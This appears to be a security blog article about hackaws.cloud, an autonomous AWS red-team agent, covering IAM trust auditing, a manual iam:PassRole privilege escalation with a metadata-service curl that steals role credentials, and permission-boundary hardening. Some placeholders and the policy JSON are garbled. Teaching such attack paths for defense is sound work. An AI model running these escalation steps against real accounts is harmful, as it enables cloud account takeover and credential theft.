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Introduction:
In the complex tapestry of cloud infrastructure, the greatest threat often isn’t a single vulnerability, but the intricate web of trust relationships between them. A new tool, hackaws.cloud, emerges as an autonomous red team agent designed to empirically test the “blast radius” of AWS environments. By simulating an attacker with a foothold identity, it navigates lateral movements and privilege escalation paths, visually revealing how seemingly innocuous permissions can create catastrophic chain reactions.
Learning Objectives:
- Understand the concept of “blast radius” and how interconnected AWS IAM roles and trust policies amplify risk.
- Learn to deploy and utilize autonomous agents like hackaws.cloud to map attack paths in a live environment.
- Identify common misconfigurations in cross-account roles and service permissions that lead to privilege escalation.
You Should Know:
- The Anatomy of Cloud Trust: Why “AssumeRole” Becomes a Liability
The core problem highlighted by Daniel Grzelak lies in the over-proliferation of the AWS Security Token Service (STS) and the `sts:AssumeRole` API call. When organizations grant ten different vendors the ability to assume roles into their accounts, and then allow internal identities to bounce between these accounts, they create a federated identity mesh. An attacker who compromises a single vendor’s credentials can leverage this mesh to pivot deeper.
Step‑by‑step guide: Auditing Trust Relationships via AWS CLI
To understand your exposure, you must audit who trusts whom. While hackaws.cloud automates this, here is the manual reconnaissance process an attacker (or defender) might use:
1. List All Roles: `aws iam list-roles –profile target-profile` (Parse the output to find roles with a AssumeRolePolicyDocument).
2. Analyze Trust Entities: For a specific suspicious role, run:
aws iam get-role --role-name [bash] --query 'Role.AssumeRolePolicyDocument' --profile target-profile
Look for `”Effect”: “Allow”` and `”Principal”: { “AWS”: “arn:aws:iam::
:root" }` or specific user ARNs. This reveals external accounts that can jump into your account. 3. Simulate the Jump: If you have credentials for an external vendor account, attempt to assume the discovered role: [bash] aws sts assume-role --role-arn "arn:aws:iam::[bash]:role/[bash]" --role-session-name "ReconSession" --profile vendor-profile
Success here indicates a direct trust path that an attacker can utilize.
2. Deploying hackaws.cloud: The Autonomous Penetration Tester
hackaws.cloud acts as an agent that requires a goal (e.g., access to an S3 bucket with sensitive data), a foothold identity (compromised user keys), and rules of engagement. It systematically attempts every known lateral movement and privilege escalation technique against your AWS environment.
Step‑by‑step guide: Setting Up a Safe Test Environment
Before running the tool, isolate a testing environment to avoid production impact.
1. Create a Test Account: Use AWS Organizations to spin up a dedicated sandbox account.
2. Deploy Vulnerable Infrastructure: Use a tool like `CloudFormation` or `Terraform` to intentionally deploy a “vulnerable by design” scenario. For example, create an EC2 instance with an overly permissive instance profile that allows `iam:PassRole` and `ec2:RunInstances` on a more privileged role.
3. Install Prerequisites: Ensure Python 3.x and the AWS CLI are installed. Configure the foothold identity credentials:
aws configure --profile foothold
Input the Access Key ID and Secret Access Key for the low-privilege user.
4. Execute the Agent: Follow the specific documentation for hackaws.cloud (as it is a live tool, commands may update). A typical execution might look like:
git clone https://github.com/undercode-test/hackaws.cloud Hypothetical clone cd hackaws.cloud python3 agent.py --goal "arn:aws:s3:::undercode-critical-data" --profile foothold --output-dir ./results
3. Understanding the “PassRole” and “Privilege Escalation” Matrix
The tool succeeds by exploiting permissions that appear harmless. A classic example is the `iam:PassRole` permission combined with ec2:RunInstances. If a user can pass a high-privilege role to a new EC2 instance, they can launch an instance, SSH into it, and steal the credentials of that high-privilege role from the instance metadata.
Step‑by‑step guide: Manual Exploitation of `iam:PassRole`
If hackaws.cloud flags this path, here is how the manual exploitation works:
1. Identify a Target Role: Find a role with high privileges (e.g., AdminRole) that you are allowed to pass. `aws iam list-roles`
2. Launch an EC2 Instance with that Role:
aws ec2 run-instances --image-id ami-0abcdef1234567890 --instance-type t2.micro --iam-instance-profile Name="AdminRole" --key-name MyKeyPair --security-group-ids sg-12345678 --subnet-id subnet-12345678 --profile foothold
3. Access the Instance: SSH into the instance.
- Retrieve Role Credentials: From inside the instance, query the metadata service:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
This returns temporary
AccessKeyId,SecretAccessKey, andToken, granting the attacker admin-level access. -
Defensive Hardening: The Principle of Least Privilege and Permission Boundaries
To prevent the web of paths discovered by hackaws.cloud, organizations must move beyond simple IAM policies and implement guardrails.
Step‑by‑step guide: Implementing IAM Permission Boundaries
Permission boundaries set the maximum permissions an identity can have, acting as a blast door.
1. Create a Boundary Policy: Define a JSON policy that limits scope. For example, restrict to specific regions or deny access to critical S3 buckets.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "",
"Resource": "",
"Condition": {
"StringEquals": {
"aws:RequestedRegion": ["us-east-1", "eu-west-1"]
}
}
},
{
"Effect": "Deny",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::super-secret-bucket/"
}
]
}
2. Apply the Boundary: When creating a user or role, attach the boundary policy ARN:
aws iam put-user-permissions-boundary --user-name developer-user --permissions-boundary arn:aws:iam::[bash]:policy/BoundaryPolicy
3. Validate: Now, even if the user has a policy granting s3:, the boundary will prevent them from accessing the “super-secret-bucket,” containing the blast radius.
5. Remediation: Interpreting the “Tantalizing Report”
After hackaws.cloud runs, it produces a graph and a Markdown report. This report lists the sequence of API calls an attacker would make. The remediation involves breaking those chains.
Step‑by‑step guide: Breaking Attack Paths
- Review the Path: The report might show:
UserA -> sts:AssumeRole (VendorRole) -> iam:CreatePolicyVersion (set policy to admin) -> s3:GetObject (CriticalData). - Identify the Linchpin: The critical mistake here is allowing `iam:CreatePolicyVersion` on a role that `UserA` can assume.
- Apply Remediation: Remove the `iam:CreatePolicyVersion` action from the VendorRole’s policy. Replace it with a more restrictive, pre-defined policy.
- Use AWS IAM Access Analyzer: Run the Access Analyzer to validate the new policy for unintended public access or cross-account access:
aws accessanalyzer validate-policy --policy-document file://new-vendor-policy.json --policy-type IDENTITY_POLICY
What Undercode Say:
- Visualizing the Invisible: The primary value of tools like hackaws.cloud is not exploitation but visualization. It transforms abstract IAM JSON documents into a tangible graph of risk, forcing security teams to confront the reality of their interconnected estate.
- Shift from Static to Dynamic Testing: Traditional auditing relies on static analysis (e.g., “check if PassRole exists”). hackaws.cloud represents a shift to dynamic, goal-oriented testing that proves exploitability, turning theoretical risks into concrete remediation tasks. It highlights that in cloud security, the sum of the parts is often far more dangerous than any single part.
Prediction:
The future of cloud security will move toward continuous, autonomous red-teaming as a service. Tools like hackaws.cloud are the precursors to AI-driven security agents that live within your infrastructure, constantly mapping new trust relationships as they are deployed and alerting on blast radius expansion in real-time. This will shift the cloud provider’s responsibility from providing tools to providing guarantees against complex attack chains.
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IT/Security Reporter URL:
Reported By: Danielgrzelak For – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
